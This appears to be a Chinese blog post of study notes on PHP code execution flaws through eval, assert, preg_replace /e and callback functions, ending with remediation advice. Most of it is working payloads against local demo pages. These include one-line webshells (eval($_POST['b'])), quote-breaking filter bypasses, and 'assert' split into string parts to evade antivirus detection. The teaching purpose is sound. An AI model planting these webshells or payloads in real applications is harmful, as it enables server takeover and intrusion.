護網筆記(十二)--程式碼執行漏洞
程式碼執行漏洞
概述
在Web應用中有時候程式設計師為了考慮靈活性,簡潔性,會在程式碼呼叫eval函式(PHP函式)去處理。比如當應用在呼叫一些能將字串轉化成程式碼的函式時,沒有考慮使用者是否能控制這個字串,將造成程式碼執行漏洞。
相關函式
eval()
//字串作為php程式碼執行
assert()
preg_replace()
// 執行一個正則表示式的搜尋和替換
create_function()
// 建立匿名函式
array_map()
call_user_func()
/ call_user_func_array()
array_filter()
usort()
, uasort()
$_GET['a']
//a=assert&b=phpinfo()
危害
eval函式
<?php
eval('phpinfo();'); //eval() 函式把字串按照 PHP 程式碼執行。
?>
eval()函式漏洞利用_1
<?php $data=$_GET['data']; eval("\$ret = $data;"); echo $ret; ?>
使用一句話木馬連線測試:
phpstrom程式碼除錯
http://127.0.0.1/hello.php?data=phpinfo()&XDEBUG_SESSION_START=PHPSTORM
實驗
嘗試利用下面程式碼,構造一句話木馬,並使用蟻劍連線
demo.php
<?php
eval($_GET['a']); //$_GET 變數用於收集來自表單中的值
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27]);
eval()函式繞過
如何繞過下面程式碼過濾,構造出一句話木馬,並能用蟻劍連線。
<?php $data = $_GET['a']; $temp = "\$ret = strtolower(\"data\");"; //strtolower()函式 把字串轉換為小寫 eval($temp); echo $ret; ?> //雙引號url編碼是%22
http://127.0.0.1/demo.php?a=%22);phpinfo();(%22
//構造一句話木馬
//第一種方式
http://127.0.0.1/demo.php?a=%22);eval($_POST[%27b%27]);(%22
//第二種方式
http://127.0.0.1/demo.php?a=${eval($_POST[%27b%27])}
assert函式
** assert函式直接將傳入的引數當成PHP程式碼直接執行,不需要以分號結尾,加分號也可以**
<?php @assert($_GET['cmd'])?>
<?php @assert($_POST['cmd'])?>
assert函式只能執行一個函式,像echo 123123; assert卻不能直接執行
** 可變變數,可變函式**
<?php
//可變變數
$a = 'b';
$b = 'c';
echo $$a; //c
//可變函式
function sayHello(){
echo 'hello world';
}
$a = 'say';
$b = 'hello';
$c = $a.$b;
$c();
?>
<?php
//eval()函式 是一個語言構造器而不是一個函式,不能被可變函式呼叫
$a = 'ev';
$b = 'al';
$c = $a.$b;
$c("phpinfo();") //報錯
//assert()函式,能被可變函式呼叫
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$c("phpinfo()")
?>
注意:因為eval()是一個語言構造器而不是一個函式,不能被可變函式呼叫。
構造一句話木馬,使用蟻劍連線
<?php
//assert()函式,能被可變函式呼叫
$a = 'ass';
$b = 'ert';
$c = $a.$b;
$c($_GET['a']);
?>
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])
preg_repalce函式
PHP版本5.6之前
preg_repalce函式執行一個正則表示式的搜尋和替換
preg_replace (正則表示式, 替換成, 字串)
preg_replace ( $pattern , $replacement , string)
<?php
$a = $_GET['a'];
echo preg_replace("/test/e",$a,"just test!");
?>
/*
如果我們提交?a=phpinfo(),phpinfo()將會被執行(使用/e修飾符,preg_replace會將第二引數當作 PHP 程式碼執行
當使用 /e 修飾符呼叫 preg_replace() 時,直譯器必須在每次替換時將替換字串解析為 PHP 程式碼一次
*/
構造一句話木馬,使用蟻劍連線
http://127.0.0.1/demo.php?a=eval($_POST[%27b%27])
preg_replace 進行程式碼執行,需要的條件
1、修飾符需要有e
2、要求版本小於等於5.6
3、第二個引數要直接或者間接可控
4、模式必須成功匹配到
phpstrom進行下面程式碼除錯
<?php
//echo $data;
//此時相當於在$data變數中查詢是否滿足正則匹配的條件
//此時的正則表示式條件:<data>(.*)</data>
//如果滿足正則匹配條件,則將replacement引數中的值進行替換
//如果說第一個引數中有/e,則代表replacement引數,可以近似大的理解為將程式碼先用eval進行執行
$data=$_GET['data'];
echo $data;
preg_replace('/<data>(.*)<\/data>/e','$ret="\\1"',$data);
echo $ret;
?>
//小於號的url編碼是%3C
//大於號的url編碼是%3E
http://127.0.0.1/demo.php?data=%3Cdata%3Exingongke%3C/data%3E&XDEBUG_SESSION_START=PHPSTORM
create_function函式
create_function — 建立匿名函式
我們一般應該怎麼建立函式
比如說:
<?php
function diy_add($a,$b){
return $a + $b;
}
echo diy_add(3,6);
?>
create_function函式可以 建立"匿名"函式
<?php
$func = create_function('$a,$b', 'echo $a.$b;');
$func('hello','world');
//上面程式碼和下面程式碼實現相似功能
function xxx($a,$b){
echo "$a"."$b";
}
xxx('hello','world');
?>
array_map函式
array_map — 為陣列的每個元素應用回撥函式
array_map ( callable $callback
, array $array
, array ...$arrays
)
引數
callback
回撥函式 callable,應用到每個數組裡的每個元素。
多個數組操作合併時,callback
可以設定為 null
。 如果只提供了 array
一個數組, array_map() 會返回輸入的陣列。
array
陣列,遍歷執行 callback
函式。
arrays
額外的陣列列表,每個都遍歷執行 callback
函式。
例:
<?php
function cube($n)
{
return ($n * $n * $n);
}
$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>
call_user_func函式
call_user_func() — 把第一個引數作為回撥函式呼叫
第一個引數 callback
是被呼叫的回撥函式,其餘引數是回撥函式的引數。
http://127.0.0.1/demo.php?cmd=phpinfo();
<?php
call_user_func("assert", $_GET['cmd']);
?>
array_filter函式
array_filter — 使用回撥函式過濾陣列的元素
http://127.0.0.1/demo.php?a=phpinfo();
<?php
$array[0] = $_GET['a'];
array_filter($array, 'assert');
?>
http://127.0.0.1/demo.php?1=assert&2=phpinfo();
<?php
$_GET[1]($_GET[2]);
?>
usort函式
usort — 使用使用者自定義的比較函式對陣列中的值進行排序
http://127.0.0.1/demo.php?1=phpinfo();
<?php
$a = array($_GET[1],12345,'hehe');
function xxx($num1, $num2){
@assert($num2);
return -1;
}
usort($a, 'xxx')
?>
大馬和小馬的區別: 小馬往往是可以動態的執行下達的指令,通常都是eval,assert函式來執行的,體積小,容易免殺。 大馬往往是將整個功能點已經寫入在檔案中,執行相應的操作無需呼叫eval等函式來執行,往往體積較大,免殺相對複雜
漏洞修復方案
1,對於eval()等函式一定要保證使用者不能控制函式的引數,或者使用正則,對使用者輸入資料的格式進行判斷。
2,對於字串一定要使用單引號包裹可控程式碼,並且插入前進行過濾
3,對於preg_replace放棄使用e修飾符。如果必須要用e修飾符,請判斷第二個引數,是否會被插入php程式碼
本文來自作者:CK_0ff,轉載請註明原文連結:https://www.cnblogs.com/Ck-0ff/p/15811047.html